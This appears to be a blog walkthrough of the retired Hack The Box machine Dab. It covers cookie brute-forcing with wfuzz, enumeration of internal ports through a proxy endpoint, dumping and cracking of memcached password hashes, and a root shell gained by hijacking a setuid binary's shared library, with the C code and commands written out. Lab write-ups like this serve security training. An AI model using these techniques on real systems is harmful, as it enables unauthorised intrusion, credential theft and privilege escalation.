This post documents the complete walkthrough of Dab, a retired vulnerable VM created by snowscan, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.
On this post
Background
Dab is a retired vulnerable VM from Hack The Box.
Information Gathering
Let’s start with a nmap
scan to establish the available services in the host.
# nmap -n -v -Pn -p- -A --reason -oN nmap.txt 10.10.10.86
...
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 63 vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 0 0 8803 Mar 26 2018 dab.jpg
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.10.13.52
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 20:05:77:1e:73:66:bb:1e:7d:46:0f:65:50:2c:f9:0e (RSA)
| 256 61:ae:15:23:fc:bc:bc:29:13:06:f2:10:e0:0e:da:a0 (ECDSA)
|_ 256 2d:35:96:4c:5e:dd:5c:c0:63:f0:dc:86:f1:b1:76:b5 (ED25519)
80/tcp open http syn-ack ttl 63 nginx 1.10.3 (Ubuntu)
| http-methods:
|_ Supported Methods: HEAD OPTIONS GET
|_http-server-header: nginx/1.10.3 (Ubuntu)
| http-title: Login
|_Requested resource was http://10.10.10.86/login
8080/tcp open http syn-ack ttl 63 nginx 1.10.3 (Ubuntu)
| http-methods:
|_ Supported Methods: HEAD OPTIONS GET
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: nginx/1.10.3 (Ubuntu)
|_http-title: Internal Dev
nmap
finds 21/tcp
, 22/tcp
, 80/tcp
and 8080/tcp
open. Let’s start with the ftp
service since I can login anonymously.
Well, there’s nothing in ftp
except for an image.
This is how the image looks like. Duh!
Directory/File Enumeration
Time to move on to the http
services, starting with 80/tcp
.
Bummer. I’m not going to brute-force something I have no knowledge of. 8080/tcp
is next.
This is easier to brute-force. At least I know that I need to introduce a password
cookie.
wfuzz
is the perfect tool for such a job.
# wfuzz -w /usr/share/seclists/Passwords/darkweb2017-top1000.txt -t 20 -b "password=FUZZ" --hs incorrect http://10.10.10.86:8080
********************************************************
* Wfuzz 2.2.11 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.86:8080/
Total requests: 1000
==================================================================
ID Response Lines Word Chars Payload
==================================================================
000211: C=200 21 L 48 W 540 Ch "secret"
000852: C=200 14 L 29 W 324 Ch "love11"^C
Finishing pending requests...
The value for the password
cookie is secret
. This is how the site looks like after inserting the password
cookie.
Memcached
Using this page, I was able to enumerate a further local service listening at 11211/tcp
: memcached
. It’s easy. Any non-listening port will result in a respode code of 500
(INTERAL SERVER ERROR). Again, we’ll use wfuzz
for such a job. The file ports.txt
contains integers from 1 to 65535.
# wfuzz -w ports.txt -t 20 -b "password=secret" --hc 500 "http://10.10.10.86:8080/socket?port=FUZZ&cmd=hi"
********************************************************
* Wfuzz 2.2.11 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.86:8080/socket?port=FUZZ&cmd=hi
Total requests: 65535
==================================================================
ID Response Lines Word Chars Payload
==================================================================
000021: C=200 28 L 61 W 627 Ch "21"
000022: C=200 28 L 55 W 629 Ch "22"
000080: C=200 40 L 84 W 1010 Ch "80"
008080: C=200 40 L 84 W 1010 Ch "8080"
011211: C=200 27 L 52 W 576 Ch "11211"
Total time: 951.6016
Processed Requests: 65535
Filtered Requests: 65529
Requests/sec.: 68.86810
According to Wikipedia,
Memcached (pronunciation: mem-cashed, mem-cash-dee) is a general-purpose distributed memory caching system. It is often used to speed up dynamic database-driven websites by caching data and objects in RAM to reduce the number of times an external data source (such as a database or API) must be read.
To that end, I wrote a script to extract information from memcached
, using curl
as the driver.
#!/bin/bash
RHOST=10.10.10.86
RPORT=8080
MPORT=11211
CMD="[email protected]"
curl -s \
-b "password=secret" \
"http://$RHOST:$RPORT/socket?port=$MPORT&cmd=$CMD" \
| sed '/<pre>/,/<\/pre>/!d' \
| sed -e '1d' -e '$d'
Using the memcached
command stats slabs
, I was able to enumerate the slabs storing the keys in memory.
# ./memcache.sh stats slabs
STAT 16:chunk_size 2904
STAT 16:chunks_per_page 361
STAT 16:total_pages 1
STAT 16:total_chunks 361
STAT 16:used_chunks 1
STAT 16:free_chunks 360
STAT 16:free_chunks_end 0
STAT 16:mem_requested 2880
STAT 16:get_hits 0
STAT 16:cmd_set 8
STAT 16:delete_hits 0
STAT 16:incr_hits 0
STAT 16:decr_hits 0
STAT 16:cas_hits 0
STAT 16:cas_badval 0
STAT 16:touch_hits 0
STAT 26:chunk_size 27120
STAT 26:chunks_per_page 38
STAT 26:total_pages 1
STAT 26:total_chunks 38
STAT 26:used_chunks 1
STAT 26:free_chunks 37
STAT 26:free_chunks_end 0
STAT 26:mem_requested 24699
STAT 26:get_hits 245025
STAT 26:cmd_set 455
STAT 26:delete_hits 0
STAT 26:incr_hits 0
STAT 26:decr_hits 0
STAT 26:cas_hits 0
STAT 26:cas_badval 0
STAT 26:touch_hits 0
STAT active_slabs 2
STAT total_malloced 2078904
END
And, using the command stats cachedump <slab_id> 0
, I can enumerate all the keys stored in the slab.
Slab 16
# ./memcache.sh stats cachedump 16 0
ITEM stock [2807 b; 1544660622 s]
END
Slab 26
# ./memcache.sh stats cachedump 26 0
ITEM users [24625 b; 1544667379 s]
END
The users
key caught my eye immediately.
The response was a hash map of username as key and the MD5 hash of the password as value. Cool, now I can transform the output as an input compatible for John the Ripper cracking.
./memcache.sh get users | sed '2!d' > users.txt && sed -e 's/"//g' -e 's/[{}]//g' -e 's/ //g' -e 's/,/\n/g' users.txt > hashes.txt
The transformed output should look like this.
quinton_dach:17906b445a05dc42f78ae86a92a57bbd
jackie.abbott:c6ab361604c4691f78958d6289910d21
isidro:e4a4c90483d2ef61de42af1f044087f3
roy:afbde995441e19497fe0695e9c539266
colleen:d3792794c3143f7e04fd57dc8b085cd4
harrison.hessel:bc5f9b43a0336253ff947a4f8dbdb74f
asa.christiansen:d7505316e9a10fc113126f808663b5a4
jessie:71f08b45555acc5259bcefa3af63f4e1
milton_hintz:8f61be2ebfc66a5f2496bbf849c89b84
demario_homenick:2c22da161f085a9aba62b9bbedbd4ca7
...
Here’s the fruits of the JtR labor.
# /opt/john/john --format=raw-md5 --show hashes.txt
aglae:misfits
alec:blaster
ona:monkeyman
wendell:megadeth
admin:Password1
demo:demo
genevieve:Princess1
abbigail:piggy
rick:lovesucks1
default:default
d_murphy:hacktheplanet
irma:strength
12 password hashes cracked, 483 left
Low-Privilege Shell
Using hydra
to validate the credentials, you’ll discover that the credential (genevieve:Princess1
) works for both ftp
and ssh
.
There you have it. While we are here, user.txt
is located at genevieve
’s home directory.
Privilege Escalation
The path to privilege escalation is not hard to find; it’s the way to do it that’s harder.
You can see that /usr/bin/myexec
is setuid
to root
. Running it reveals a login prompt, which isn’t difficult to bypass. Just run it with ltrace
and the password is shown, like so:
Running ltrace
again with the correct password reveals another important clue.
Running ldd
reveals the use of a dynamic shared object or library.
Earlier on, I notice that ldconfig
and ldconf.real
are also setuid
to root
. Pivoting on that, I found a special place to put our own shared object to bypass the original seclogin()
function to do something more malevolent. I also discover a cron
job that deletes files created within two minutes in /tmp
at every minute. The window of opportunity is one minute. We need to act fast!
With that in mind, let’s go about creating our own shared object with the following code:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void seclogin() {
setuid(0);
setgid(0);
puts("Spawning shell...");
system("/bin/bash");
}
Compile the code to a shared object like so.
$ gcc -Wall -fPIC -shared -o libseclogin.so seclogin.c
Then run the following command.
cp libseclogin.so /tmp; ldconfig; myexec
Boom. We have a root
shell.
Root Dance
Getting root.txt
is trivial with a root
shell.